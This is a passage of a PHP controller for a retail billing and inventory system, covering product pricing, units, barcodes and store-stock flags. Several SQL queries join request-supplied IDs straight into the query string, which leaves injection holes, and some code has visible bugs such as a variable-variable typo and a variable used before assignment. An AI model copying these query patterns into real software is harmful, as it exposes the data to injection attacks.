    $product_store_arr = json_decode($product_store_arr, true);
    //just echo an item in the array
    $inUse = 0;
    foreach ($product_store_arr as $key => $value) {
        $key = explode("_", $key);
        //prepare data
        $store_id = $key[0];
        $product_id = $key[1];
        $sizeId = 0;
        $colorId = 0;
        if (strpos($product_id, "hasSizeColor") !== false) {
            $productIdComplex = explode('-', str_replace("hasSizeColor", "", $product_id));
            $product_id = $productIdComplex[0];
            $sizeId = $productIdComplex[1];
            $colorId = $productIdComplex[2];
        }
        if ($sizeId == 0 || $colorId == 0) {
            $inUse = R::getCell('select inUse from storedetail where productid = ' . $product_id . ' and storeid = ' . $store_id);
        } else {
            $inUse = R::getCell('select inUse from sizecolorstoredetail where productid = ' . $product_id . ' and storeid = ' . $store_id . ' and colorid = ' . $colorId . ' and sizeid = ' . $sizeId);
        }

        if ($inUse == 1)
            break;
    }
    echo $inUse;
} elseif ($do == "markStoreDetailInUse") {
    $products_info_quantity_arr = array();
    $product_store_arr = filter_input(INPUT_POST, "product_store_arr");
    $product_store_arr = json_decode($product_store_arr, true);
    //just echo an item in the array
    $inUse = 0;
    foreach ($product_store_arr as $key => $value) {
        $key = explode("_", $key);
        //prepare data
        $store_id = $key[0];
        $product_id = $key[1];
        $sizeId = 0;
        $colorId = 0;
        if (strpos($product_id, "hasSizeColor") !== false) {
            $productIdComplex = explode('-', str_replace("hasSizeColor", "", $product_id));
            $product_id = $productIdComplex[0];
            $sizeId = $productIdComplex[1];
            $colorId = $productIdComplex[2];
        }
        if ($sizeId == 0 && $colorId == 0) {
            $inUse = R::exec('update storedetail set inUse = 1 where productid = ' . $product_id . ' and storeid = ' . $store_id);
        } else {
            $inUse = R::exec('update storedetail set inUse = 1 where productid = ' . $product_id . ' and storeid = ' . $store_id . ' and colorid = ' . $colorId . ' and sizeid = ' . $sizeId);
        }
    }
}

//check and use the condetion that suite this action

/* ===============================
  function in this CONTROLLER
  ================================ */

// select from Billname tbl
function loadBillProperty($billnameid) {
    //to use the variable out side the funcion
    global $myBillsettingEx;

    // select all data from Billname
    $billsettingsData = $myBillsettingEx->queryWithBillnameId($billnameid);

    return $billsettingsData;
}

function getclientdebt($clientId) {
    global $myClientRecord;

    $clientData = $myClientRecord->load($clientId);
    $clientDebt = $clientData->clientdebt;

    return $clientDebt;
}

function getclientdebtlimit($clientId) {
    global $myClientRecord;

    $clientData = $myClientRecord->load($clientId);
    $clientDebtLimit = $clientData->debtLimit;

    return $clientDebtLimit;
}

function loadProduct($storeId) {
    global $myStoredetailEx;

    // select all data from product tbl
    $productData = $myStoredetailEx->queryWithStoreId($storeId);
    return $productData;
}

// get ProoductPrice from Prooduct tbl
function getProoductPrice($productId, $storeId) {
    //to use the variable out side the funcion
    global $myProductRecord;
    global $myStoredetailEx;
    global $sizeColorStoreDetailDAO;
    global $sizeColorStoreDetailEX;

    //for product hassizecolor
    $sizeId = 0;
    $colorId = 0;
    $sizeColorStoreDetailId = 0;
    if (!empty($productId)) {
        if (strpos($productId, "hasSizeColor") !== false) {
            $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
            $productId = $productIdComplex[0];
            $sizeId = $productIdComplex[1];
            $colorId = $productIdComplex[2];
            $sizeColorStoreDetailId = $sizeColorStoreDetailEX->getIdByProductStoreSizeAndColorEX($productId, $storeId, $sizeId, $colorId);
        }
    }

    // get rawmaterialprice by rawmaterialid
    $productData = $myProductRecord->load($productId);

    if (isset($sizeColorStoreDetailId) && $sizeColorStoreDetailId > 0) { //sizecolor product
        $storedetailData = $sizeColorStoreDetailDAO->load($sizeColorStoreDetailId);
        $quantity = $storedetailData->quantity;
    } else {
        $storedetailData = $myStoredetailEx->queryWithStoreAndProduct($productId, $storeId);
        $quantity = $storedetailData->productquantity;
    }


    return array($productData, $quantity);
}

// get ProoductPrice from Prooduct tbl
function getProoductPriceByonlyProductId($productId) {
    //to use the variable out side the funcion
    global $myProductEx;

    // get rawmaterialprice by rawmaterialid
    $productData = $myProductEx->loadByProductId($productId);

    return $productData;
}

// get ProoductPrice from productunit tbl
function getProoductPriceByProductunit($productId, $productunitid) {
    //to use the variable out side the funcion
    global $myProductEx;
    global $myProductunitRecord;

    $productData = $myProductEx->loadByProductId($productId);
    $productUnitPrices = $myProductunitRecord->load($productunitid);
    $productData->productSellAllPrice = $productUnitPrices->proUnitSellAllPrice;
    $productData->productSellHalfPrice = $productUnitPrices->proUnitSellHalfPrice;
    $productData->productSellUnitPrice = $productUnitPrices->proUnitSellUnitPrice;

    return $productData;
}

function getProductPriceFromSellBill($ProductId, $ClientId, $productunitid) {
    //to use the variable out side the funcion
    global $mySellbilldetailEx;
    global $mySellandruternbilldetailEx;

    $sellbilldetailPrice;
    $detailData = array();

    // get rawmaterialprice by rawmaterialid
    $sellbilldetailData = $mySellbilldetailEx->queryPriceWithProductIdAndClientIdAndUnit($ProductId, $ClientId, $productunitid);

    $sellandruternbilldetailData = $mySellandruternbilldetailEx->queryPriceWithProductIdAndClientIdAndUnit($ProductId, $ClientId, $productunitid, 0);

    if (count($sellbilldetailData) > 0 && count($sellandruternbilldetailData) > 0) {
        //number of days
        $dayNum = round(abs(strtotime($sellbilldetailData->sellbilldate) - strtotime($sellandruternbilldetailData->sellbilldate)));

        if ($dayNum >= 0) {
            $sellbilldetailPrice = $sellbilldetailData->sellbilldetailprice;
            $detailData = $sellbilldetailData;
        } else {
            $sellbilldetailPrice = $sellandruternbilldetailData->sellbilldetailprice;
            $detailData = $sellandruternbilldetailData;
        }
    } elseif (count($sellbilldetailData) > 0 && count($sellandruternbilldetailData) <= 0) {
        $detailData = $sellbilldetailData;
        $sellbilldetailPrice = $sellbilldetailData->sellbilldetailprice;
    } elseif (count($sellbilldetailData) <= 0 && count($sellandruternbilldetailData) > 0) {
        $detailData = $sellandruternbilldetailData;

        $sellbilldetailPrice = $sellandruternbilldetailData->sellbilldetailprice;
    } else {
        $detailData = array();
    }




    return array($detailData, $sellbilldetailPrice);
}

//ايجاد عدد الفواتبر التى بيع فيها المنتج لهذا العميل
function getNoOfBillsRepeated($ProductId, $ClientId) {
    //to use the variable out side the funcion
    global $mySellbilldetailEx;
    global $mySellandruternbilldetailEx;

    $sellbilldetailPrice;

    // get rawmaterialprice by rawmaterialid
    $sellbillCount = (int) $mySellbilldetailEx->getNoOfBillsWithProductIdAndClientId($ProductId, $ClientId);

    $sellandruternbillCount = (int) $mySellandruternbilldetailEx->getNoOfBillsWithProductIdAndClientId($ProductId, $ClientId, 0);

    return $sellbillCount + $sellandruternbillCount;
}

function getProductPriceFromReturnSellBill($ProductId, $ClientId, $productunitid) {
    //to use the variable out side the funcion
    global $myReturnsellbilldetailEx;
    global $mySellandruternbilldetailEx;


    $returnsellbilldetailPrice;
    $detailData = array();

    // get rawmaterialprice by rawmaterialid
    $returnsellbilldetailData = $myReturnsellbilldetailEx->queryWithProductIdAndClientIdAndUnit($ProductId, $ClientId, $productunitid);



    $sellandruternbilldetailData = $mySellandruternbilldetailEx->queryWithProductIdAndClientIdAndUnit($ProductId, $ClientId, $productunitid, 1);


    if (count($returnsellbilldetailData) > 0 && count($sellandruternbilldetailData) > 0) {

        $dayNum = round(abs(strtotime($returnsellbilldetailData->returnsellbilldate) - strtotime($sellandruternbilldetailData->sellbilldate)));

        if ($dayNum >= 0) {
            $returnsellbilldetailPrice = $returnsellbilldetailData->returnsellbilldetailprice;

            $detailData = $returnsellbilldetailData;
        } else {
            $returnsellbilldetailPrice = $sellandruternbilldetailData->sellbilldetailprice;

            $detailData = $sellandruternbilldetailData;
        }
    } elseif (count($returnsellbilldetailData) > 0 && count($sellandruternbilldetailData) <= 0) {
        $detailData = $returnsellbilldetailData;
        $returnsellbilldetailPrice = $returnsellbilldetailData->returnsellbilldetailprice;
    } elseif (count($returnsellbilldetailData) <= 0 && count($sellandruternbilldetailData) > 0) {
        $detailData = $sellandruternbilldetailData;

        $returnsellbilldetailPrice = $sellandruternbilldetailData->sellbilldetailprice;
    } else {
        $detailData = array();
    }





    return array($detailData, $returnsellbilldetailPrice);
}

function loadProductUnitDefault($productId) {
    global $myProductunitEx;
    global $unitString;
    global $priceString;
    global $parcodeString;
    global $tabindex;
    global $itr;

    $priceType = $_GET['pricetype'];
    $clientId = $_GET['clientid'];

    // select all data from productunit tbl
    $productunitData = $myProductunitEx->queryWithProductIdAndCondition($productId);

    return $productunitData;
}

function loadProductUnit($productId, $parcode) {

    //to use the variable out side the funcion
    global $productDAO;
    global $productCatDAO;
    global $myProductunitEx;
    global $unitString;
    global $priceString;
    global $parcodeString;
    global $tabindex;
    global $itr;
    global $Programsettingdata;
    global $sizeColorStoreDetailEX;
    global $Usergroupdata;

    //for product hassizecolor
    $productIdRecieved = $productId;
    $sizeColor;
    if (!empty($productId)) {
        if (strpos($productId, "hasSizeColor") !== false) {
            $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
            $productId = $productIdComplex[0];
            $sizeId = $productIdComplex[1];
            $colorId = $productIdComplex[2];
            $sizeColor = $sizeColorStoreDetailEX->getParcodeByProductSizeAndColorEX($productId, $sizeId, $colorId);
        }
    }

    $billnameid = (int) $_GET['billnameid'];
    $priceType = $_GET['pricetype'];
    $clientId = $_GET['clientid'];
    $comingproserial = (int) $_GET['comingproserial']; //means user selct product by serial  from "productserial" table and we need parcode as it is
    $proData = $productDAO->load($productId);
    $catData = $productCatDAO->load($proData->productCatId);
    $priceToCompare = R::getCell('select billsettingsvalue from billsettings where billpropertyid=122 and billnameid=' . $billnameid);
    $$priceToCompareVal = 0;
    switch ($priceToCompare) {
        case "first":
        case 1:
            $priceToCompareVal = (float) $proData->productBuyPrice;
            break;
        case "last":
        case 2:
            $priceToCompareVal = (float) $proData->lastbuyprice;
            break;
        case "last_discount":
        case 3:
            $priceToCompareVal = (float) $proData->lastbuyprice_withDiscount;
            break;
        case "mean":
        case 4:
            $priceToCompareVal = (float) $proData->meanbuyprice;
            break;
        case "mean_discount":
        case 5:
            $priceToCompareVal = (float) $proData->meanbuyprice_withDiscount;
            break;
        case "tax":
        case 6:
            $priceToCompareVal = (float) $proData->lastbuyprice_withTax;
            break;
        case "mean_tax":
        case 7:
            $priceToCompareVal = (float) $proData->meanbuyprice_withTax;
            break;
        case "generalPrice":
        case 8:
            $priceToCompareVal = (float) $proData->overAllAveragePrice;
            break;
        default:
            $priceToCompareVal = (float) $proData->lastbuyprice_withDiscount;
            break;
    }

    //
    $buypriceprofit = 0;
    if ($Usergroupdata->showProfitInsideBill == 1) {
        switch ($Programsettingdata->Profitevaluation) {
            case "first":
                $buypriceprofit = $proData->productBuyPrice;
                break;
            case "last":
                $buypriceprofit = $proData->lastbuyprice;
                break;
            case "mean":
                $buypriceprofit = $proData->meanbuyprice;
                break;
            case "last_discount":
                $buypriceprofit = $proData->lastbuyprice_withDiscount;
                break;
            case "mean_discount":
                $buypriceprofit = $proData->meanbuyprice_withDiscount;
                break;
            case "generalPrice":
                $buypriceprofit = $proData->generalPrice;
                break;
            case "tax":
                $buypriceprofit = $proData->lastbuyprice_withTax;
                break;
            case "mean_tax":
                $buypriceprofit = $proData->meanbuyprice_withTax;
                break;
        }
    }
    // select all data from productunit tbl
    $productunitData = $myProductunitEx->queryWithProductIdAndCondition($productId);
    if (count($productunitData) > 0) {
        $unitString .= '<input type="hidden" name="proNum' . $itr . '" id="proNum' . $itr . '" value=""/>';
        $unitString .= '<select id = "productunit' . $itr . '" name = "productunit' . $itr . '" class = "select2 wdt100 autoSaveBillRow" tabindex = "' . $tabindex . '" onChange = "getunitprice(' . $itr . ');">';
        $i = 0;
        foreach ($productunitData as $productunit) {
            $unitString .= '<option data-pu-num="' . $productunit->productnumber . '" data-profit-price="' . $buypriceprofit . '" data-lbwd-price="' . $priceToCompareVal . '" data-unit-price="' . $productunit->proUnitBuyPrice . '" value = "' . $productunit->productunitid . '">' . $productunit->unitName . '</option>';
            if ($i == 0) { //get buy price for the first unit only
                ///////************** product price
                $productData = getProoductPriceByonlyProductId($productId);


                $listDiscountPer = 0;
                //تجزئة
                if ($priceType == 1) {
                    $price = $productData->productSellUnitPrice;
                    $unitPrice = $productunit->proUnitSellUnitPrice;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->buypart;
                }
                //جملة
                elseif ($priceType == 0) {
                    $price = $productData->productSellAllPrice;
                    $unitPrice = $productunit->proUnitSellAllPrice;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->buytotal;
                }
                //نصف جملة
                elseif ($priceType == 2) {
                    $price = $productData->productSellHalfPrice;
                    $unitPrice = $productunit->proUnitSellHalfPrice;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->buyhalf;
                } elseif ($priceType == 4) {
                    $price = $productData->price4;
                    $unitPrice = $productunit->price4;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->price4;
                } elseif ($priceType == 5) {
                    $price = $productData->price5;
                    $unitPrice = $productunit->price5;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->price5;
                } elseif ($priceType == 6) {
                    $price = $productData->price6;
                    $unitPrice = $productunit->price6;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->price6;
                } elseif ($priceType == 7) {
                    $price = $productData->price7;
                    $unitPrice = $productunit->price7;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->price7;
                } elseif ($priceType == 8) {
                    $price = $productData->price8;
                    $unitPrice = $productunit->price8;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->price8;
                } elseif ($priceType == 9) {
                    $price = $productData->price9;
                    $unitPrice = $productunit->price9;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->price9;
                } elseif ($priceType == 10) {
                    $price = $productData->price10;
                    $unitPrice = $productunit->price10;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->price10;
                } elseif ($priceType == 11) {
                    $price = $productData->price11;
                    $unitPrice = $productunit->price11;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->price11;
                } elseif ($priceType == 12) {
                    $price = $productData->price12;
                    $unitPrice = $productunit->price12;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->price12;
                } elseif ($priceType == 13) {
                    $price = $productData->price13;
                    $unitPrice = $productunit->price13;
                    if ($Programsettingdata->useListPrice == 1)
                        $listDiscountPer = $catData->price13;
                }

                $selldiscount = $productData->selldiscount;
                if ($selldiscount > 0 && $productData->discounttype == 0) {
                    $productPrice = $price - $selldiscount;
                    $productPriceUnit = $unitPrice - ($selldiscount * $productnumber);
                } elseif ($selldiscount > 0 && $productData->discounttype == 1) {
                    $selldiscount = ((($productData->selldiscount) / 100) * ($price));
                    $productPrice = $price - $selldiscount;
                    $productPriceUnit = $unitPrice - ((($productData->selldiscount) / 100) * ($unitPrice));
                } else {
                    $productPrice = $price;
                    $productPriceUnit = $unitPrice;
                }


                ##
                if ($Programsettingdata->useListPrice == 1) {
                    $productPrice = $productPrice + (($productPrice * $listDiscountPer) / 100);
                    $productPriceUnit = $productPriceUnit + (($productPriceUnit * $listDiscountPer) / 100);
                }

                $productnumber = $productunit->productnumber;

                $productPrice = $productPrice * $productnumber;
                if ($Programsettingdata->defaultUnitPriceAtBill == 1)
                    $productPrice = $productPriceUnit;


                ##default values of $pricehtml and $discounthtml are zero
                $pricehtml = '<input type = "text" name = "proprice' . $itr . '" id = "proprice' . $itr . '" class = "form-control getprototal enteraction numberinput txt-nonraduis positivefloat autoSaveBillRow" value = "' . $productPrice . '" tabindex = "' . $tabindex . '" />
                    <input name = "quantity' . $itr . '" id = "quantity' . $itr . '" type = "hidden" value = "" size = "7" readonly />
                    <input name = "productpricetype' . $itr . '" id = "productpricetype' . $itr . '" type = "hidden" value = "0" size = "7" readonly />';
                $discounthtml = '<input type="hidden" id="lastClientDisVal' . $itr . '" value="0"/>
                     <input type="hidden" id="lastClientDisPer' . $itr . '" value="0"/>
                     <input type="hidden" id="selldiscount' . $itr . '" value="' . $selldiscount . '"/>';

                if (isset($clientId) && $clientId != "" && $clientId != "-2" && $clientId != "1" && ($Programsettingdata->showPrevPrices == 0 || $Programsettingdata->showPrevDiscount == 1)) {
                    $sellbilldetailData = getProductPriceFromSellBill($productId, $clientId, $productunit->productunitid);

                    // if has selldata and setting want to use last price data
                    if (count($sellbilldetailData[0]) > 0 && $Programsettingdata->showPrevPrices == 0) {
                        $pricehtml = '<input type = "text" name = "proprice' . $itr . '" id = "proprice' . $itr . '" class = "form-control getprototal enteraction numberinput txt-nonraduis positivefloat autoSaveBillRow" value = "' . $sellbilldetailData[1] . '" tabindex = "' . $tabindex . '" />
                    <input name = "quantity' . $itr . '" id = "quantity' . $itr . '" type = "hidden" value = "" size = "7" readonly />
                    <input name = "productpricetype' . $itr . '" id = "productpricetype' . $itr . '" type = "hidden" value = "1" size = "7" readonly />';
                    }
                    // if has selldata and setting want to use last discount data
                    if (count($sellbilldetailData[0]) > 0 && $Programsettingdata->showPrevDiscount == 1) {
                        $discounthtml = '<input type="hidden" id="lastClientDisVal' . $itr . '" value="' . $sellbilldetailData[0]->discountvalue . '"/>
                             <input type="hidden" id="lastClientDisPer' . $itr . '" value="' . $sellbilldetailData[0]->discounttype . '"/>
                             <input type="hidden" id="selldiscount' . $itr . '" value="' . $selldiscount . '"/>';
                    }
                }
                $priceString .= $pricehtml . $discounthtml;
            }
            $i++;
        }

        $unitString .= '</select>';


        ///////************** product parcode
        $parcodeData = getParcodeAndDon($productIdRecieved, $parcode, $productData->hasSizeAndColor, $comingproserial);
        $parcodeString .= '<input type = "text" name = "parcode' . $itr . '" id = "parcode' . $itr . '" class = "form-control txt-nonraduis autoSaveBillRow" tabindex = "' . $tabindex . '" value = "' . $parcodeData[0] . '" onkeypress = "getproductbyParcode(event,this.value, ' . $itr . ');" size = "3" placeholder = "الباركود" />
                    <input name = "parcodeType' . $itr . '" id = "parcodeType' . $itr . '" type = "hidden" value = "' . $parcodeData[1] . '" />

                    <input name = "productserailid' . $itr . '" id = "productserailid' . $itr . '" type = "hidden" value = "' . $parcodeData[2] . '" />

                    <input name = "productQty' . $itr . '" id = "productQty' . $itr . '" type = "hidden" value = "' . $parcodeData[3] . '"/>
                    ';
    }


    $data = array('unitString' => $unitString, 'priceString' => $priceString, 'parcodeString' => $parcodeString);

    echo json_encode($data);
    //return $productunitData;
}

function loadReturnProductUnit($productId, $parcode) {
    global $myProductunitEx;
    global $unitString;
    global $priceString;
    global $parcodeString;
    global $tabindex;
    global $itr;
    global $Programsettingdata;

    $priceType = $_GET['pricetype'];
    $clientId = $_GET['clientid'];
    $comingproserial = (int) $_GET['comingproserial']; //means user selct product by serial  from "productserial" table and we need parcode as it is
    //for product hassizecolor
    $productIdRecieved = $productId;
    $sizeColor;
    if (!empty($productId)) {
        if (strpos($productId, "hasSizeColor") !== false) {
            $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
            $productId = $productIdComplex[0];
        }
    }

    // select all data from productunit tbl
    $productunitData = $myProductunitEx->queryWithProductIdAndCondition($productId);
    if (count($productunitData) > 0) {
        $unitString .= '<input type="hidden" name="retProNum' . $itr . '" id="retProNum' . $itr . '" value=""/>';
        $unitString .= '<select id = "returnproductunit' . $itr . '" name = "returnproductunit' . $itr . '" class = "select2 wdt100 autoSaveBillRowRet" tabindex = "' . $tabindex . '" onChange = "getreturnunitprice(' . $itr . ');">';
        $i = 0;
        foreach ($productunitData as $productunit) {
            $unitString .= '<option data-pu-num="' . $productunit->productnumber . '" value = "' . $productunit->productunitid . '">' . $productunit->unitName . ' </option>';
            if ($i == 0) { //get buy price for the first unit only
                ///////************** product price
                $productData = getProoductPriceByonlyProductId($productId);

                //تجزئة
                if ($priceType == 1) {
                    $price = $productData->productSellUnitPrice;
                }
                //جملة
                elseif ($priceType == 0) {
                    $price = $productData->productSellAllPrice;
                }
                //نصف جملة
                elseif ($priceType == 2) {
                    $price = $productData->productSellHalfPrice;
                } elseif ($priceType == 4) {
                    $price = $productData->price4;
                } elseif ($priceType == 5) {
                    $price = $productData->price5;
                } elseif ($priceType == 6) {
                    $price = $productData->price6;
                } elseif ($priceType == 7) {
                    $price = $productData->price7;
                } elseif ($priceType == 8) {
                    $price = $productData->price8;
                } elseif ($priceType == 9) {
                    $price = $productData->price9;
                } elseif ($priceType == 10) {
                    $price = $productData->price10;
                } elseif ($priceType == 11) {
                    $price = $productData->price11;
                } elseif ($priceType == 12) {
                    $price = $productData->price12;
                } elseif ($priceType == 13) {
                    $price = $productData->price13;
                }

                if ($productData->selldiscount > 0 && $productData->discounttype == 0) {

                    $productPrice = $price - $productData->selldiscount;
                } elseif ($productData->selldiscount > 0 && $productData->discounttype == 1) {

                    $productPrice = $price - ((($productData->selldiscount) / 100) * ($price));
                } else {
                    $productPrice = $price;
                }

                //$productnumberData=$myProductunitRecord->load($productUnit);
                $productnumber = $productunit->productnumber;


                $productPrice = $productPrice * $productnumber;


                ##default values of $pricehtml and $discounthtml are zero
                $pricehtml = '<input type = "text" name = "returnproprice' . $itr . '" id = "returnproprice' . $itr . '" class = "form-control getreurnprototal txt-nonraduis returnenteraction numberinput positivefloat autoSaveBillRowRet" tabindex = "' . $tabindex . '" value = "' . $productPrice . '" />
                    <input name = "returnquantity' . $itr . '" id = "quantity' . $itr . '" type = "hidden" value = "" size = "7" readonly />
                    <input name = "returnproductpricetype' . $itr . '" id = "returnproductpricetype' . $itr . '" type = "hidden" value = "0" size = "7" readonly />';
                $discounthtml = '<input type="hidden" id="retLastClientDisVal' . $itr . '" value="0"/>
                     <input type="hidden" id="retLastClientDisPer' . $itr . '" value="0"/>';

                if (isset($clientId) && $clientId != "" && $clientId != "-2" && $clientId != "1" && ($Programsettingdata->showPrevPricesRet == 0 || $Programsettingdata->showPrevDiscountRet == 1)) {
                    $returnsellbilldetailData = getProductPriceFromSellBill($productId, $clientId, $productunit->productunitid);

                    // if has selldata and setting want to use last price data
                    if (count($returnsellbilldetailData[0]) > 0 && $Programsettingdata->showPrevPricesRet == 0) {
                        $pricehtml = '<input type = "text" name = "returnproprice' . $itr . '" id = "returnproprice' . $itr . '" class = "form-control getreurnprototal txt-nonraduis returnenteraction numberinput positivefloat autoSaveBillRowRet" tabindex = "' . $tabindex . '" value = "' . $returnsellbilldetailData[1] . '" />

                    <input name = "quantity' . $itr . '" id = "quantity' . $itr . '" type = "hidden" value = "" size = "7" readonly />
                    <input name = "returnproductpricetype' . $itr . '" id = "returnproductpricetype' . $itr . '" type = "hidden" value = "1" size = "7" readonly />';
                    }
                    // if has selldata and setting want to use last discount data
                    if (count($returnsellbilldetailData[0]) > 0 && $Programsettingdata->showPrevDiscountRet == 1) {
                        $discounthtml = '<input type="hidden" id="retLastClientDisVal' . $itr . '" value="' . $returnsellbilldetailData[0]->discountvalue . '"/>
                             <input type="hidden" id="retLastClientDisPer' . $itr . '" value="' . $returnsellbilldetailData[0]->discounttype . '"/>';
                    }
                }
                $priceString .= $pricehtml . $discounthtml;
            }
            $i++;
        }

        $unitString .= '</select>';


        ///////************** product parcode
        $parcodeData = getParcodeAndDon($productIdRecieved, $parcode, $productData->hasSizeAndColor, $comingproserial);

        $parcodeString .= '<input type = "text" name = "returnparcode' . $itr . '" id = "returnparcode' . $itr . '" class = "form-control txt-nonraduis autoSaveBillRowRet" placeholder = "الباركود" onkeypress = "getreturnproductbyParcode(event,this.value,' . $itr . ');" tabindex = "' . $tabindex . '" value = "' . $parcodeData[0] . '"/>

                    <input name = "returnparcodeType' . $itr . '" id = "returnparcodeType' . $itr . '" type = "hidden" value = "' . $parcodeData[1] . '" />

                    <input name = "returnproductserailid' . $itr . '" id = "returnproductserailid' . $itr . '" type = "hidden" value = "' . $parcodeData[2] . '" />';
    }


    $data = array('unitString' => $unitString, 'priceString' => $priceString, 'parcodeString' => $parcodeString);

    echo json_encode($data);
    //return $productunitData;
}

function getParcodeAndDon($productId, $parcode, $hasSizeAndColor, $comingproserial) {

    global $myProductserialEx;
    global $myProductserialDao;
    global $myProductRecord;
    global $sizeColorStoreDetailEX;
    global $myBillnameRecord;
    global $Programsettingdata;

    $billnameid = $_GET['billnameid'];
    //$comingproserial = 1 => means user selct product by serial  from "productserial" table and we need parcode as it is
    if ($hasSizeAndColor == 1) { //has size color
        if (isset($parcode) && $parcode != '') {
            $sizeColor = $sizeColorStoreDetailEX->queryByParcodeEX($parcode);
            if (count($sizeColor) > 0) {
                $productId = "hasSizeColor" . $sizeColor->productid . "-" . $sizeColor->sizeid . "-" . $sizeColor->colorid;
                $parcode = $sizeColor->parcode;
                if (!is_null($sizeColor->sizeName) && !empty($sizeColor->sizeName)) {
                    $productName .= '/' . $sizeColor->sizeName;
                }
                if (!is_null($sizeColor->colorName) && !empty($sizeColor->colorName)) {
                    $productName .= '/' . $sizeColor->colorName;
                }

                #####
                $productSerialData->serialnumber = $parcode;
                $parcodeType = "parcode";
                $productserailId = 0;
                $productQty = 'undefined';
            } else {
                $serialData = $myProductserialDao->queryBySerialnumber($parcode); //Ex->queryLastWithProductIdAndSerial($sizeColor->productid,$parcode," and sizeid=$sizeColor->sizeid and colorid= $sizeColor->colorid ");
                $serialData = $serialData[0];
                if (isset($serialData->productserailid) && $serialData->productserailid > 0) {
                    $sizeColor = $sizeColorStoreDetailEX->getParcodeByProductSizeAndColorEX($serialData->productid, $serialData->sizeid, $serialData->colorid);
                    $productId = "hasSizeColor" . $sizeColor->productid . "-" . $sizeColor->sizeid . "-" . $sizeColor->colorid;
                    if (!is_null($sizeColor->sizeName) && !empty($sizeColor->sizeName)) {
                        $productName .= '/' . $sizeColor->sizeName;
                    }
                    if (!is_null($sizeColor->colorName) && !empty($sizeColor->colorName)) {
                        $productName .= '/' . $sizeColor->colorName;
                    }
                    #####
                    $productSerialData->serialnumber = $parcode;
                    $parcodeType = "serialnumber";
                    $productserailId = $serialData->productserailid;
                    $productQty = $serialData->don;
                }
            }
        } else {
            //change data to get first size color
            $productIdComplex = explode('-', str_replace("hasSizeColor", "", $productId));
            $productId = $productIdComplex[0];
            $sizeid = $productIdComplex[1];
            $colorid = $productIdComplex[2];
            $sizeColor = $sizeColorStoreDetailEX->getParcodeByProductSizeAndColorEX($productId, $sizeid, $colorid);
            if ($sizeColor->id > 0) {
                $productId = "hasSizeColor" . $sizeColor->productid . "-" . $sizeColor->sizeid . "-" . $sizeColor->colorid;
                $parcode = $sizeColor->parcode;
                if (!is_null($sizeColor->sizeName) && !empty($sizeColor->sizeName)) {
                    $productName .= '/' . $sizeColor->sizeName;
                }
                if (!is_null($sizeColor->colorName) && !empty($sizeColor->colorName)) {
                    $productName .= '/' . $sizeColor->colorName;
                }
                #####
                $productSerialData->serialnumber = $parcode;
                $serialData = $myProductserialEx->queryLastWithProductIdAndSerial($sizeColor->productid, $parcode, " and sizeid=$sizeColor->sizeid and colorid= $sizeColor->colorid ");
                if (isset($serialData->productserailid) && $serialData->productserailid > 0) {
                    $parcodeType = "serialnumber";
                    $productserailId = $serialData->productserailid;
                    $productQty = $serialData->don;
                } else {
                    $parcodeType = "parcode";
                    $productserailId = 0;
                    $productQty = 'undefined';
                }
            }
        }
    } else {
        if (isset($parcode) && $parcode != '') {

            if ($billnameid == 5) {
                $queryString = ' and don < 1 ';
            } else {
                $queryString = ' and don > 0 ';
            }

            // هشوف لو المنتج ده مرتبط بالباركود ده ولا لأ وأجيب البيانات المطلوبة
            $productSerialData = $myProductserialEx->queryLastWithProductIdAndSerial($productId, $parcode, $queryString);

            if (count($productSerialData) == 0) {
                $productSerialData = $myProductserialEx->queryLastWithProductIdAndDonExt($productId);
            }
        } else {
            // select all data from productserial tbl

            $productSerialData = $myProductserialEx->queryLastWithProductIdAndDonExt($productId);
        }


        $parcodeType;
        $productserailId;
        if (count($productSerialData) <= 0) {
            $productData = $myProductRecord->load($productId);
            $parcode = $productData->parcode;
            $parcodeType = "parcode";
            $productserailId = 0;
            $productQty = 'undefined';
        } else {
            $productData = $myProductRecord->load($productId);
            if ($comingproserial == 1 && $parcode == $productData->parcode) { //$comingproserial = 1 => means user selct product by serial  from "productserial" table and we need parcode as it is
                $parcode = $productData->parcode;
                $parcodeType = "parcode";
                $productserailId = 0;
                $productQty = 'undefined';
            } else {
                $parcode = $productSerialData->serialnumber;
                $parcodeType = "serialnumber";
                $productserailId = $productSerialData->productserailid;
                $productQty = $productSerialData->don; //عدد المنتجات في هذا السيريال
            }
        }
    }
    if (strpos($productId, "hasSizeColor") !== false || $comingproserial == 1) {

    } else {
        $billnameData = $myBillnameRecord->load($billnameid);
        $productData = $myProductRecord->load($productId);
        if ($billnameData->billnameid > 0 && (int) $billnameData->parcodeType == 1) {
            $parcode = useSpecializedParcodeDigits($productData->parcode, $productData->productId, $Programsettingdata->specializedParcodeDigits);
        } else {
            //dont change
            //$parcode = $productData->parcode;
        }
    }

    return array($parcode, $parcodeType, $productserailId, $productQty);
}

function loadProductByParcodeAndStoreId($storeId, $parcode) {

    //to use the variable out side the funcion
    global $myStoredetailEx;

    // select all data from product tbl
    $productData = $myStoredetailEx->queryWithStoreIdAndParcode($storeId, $parcode);


    return $productData;
}

function loadProductByParcodeAndDon($parcode, $don) {
    global $myProductEx;

    $arr = array();

    // select all data from product tbl
    $productData = $myProductEx->queryWithSerialnumberAndDon($parcode, $don);
    if (count($productData) <= 0) {
        $productData = $myProductEx->queryWithParcode($parcode);

        $arr['id'] = $productData->productId;
        $arr['text'] = $productData->productName;
        $arr['parcodeType'] = "parcode";
        $arr['productserailid'] = 0;
        $arr['productQTY'] = 'undefined';
    } else {
        $arr['id'] = $productData->productId;
        $arr['text'] = $productData->productName;
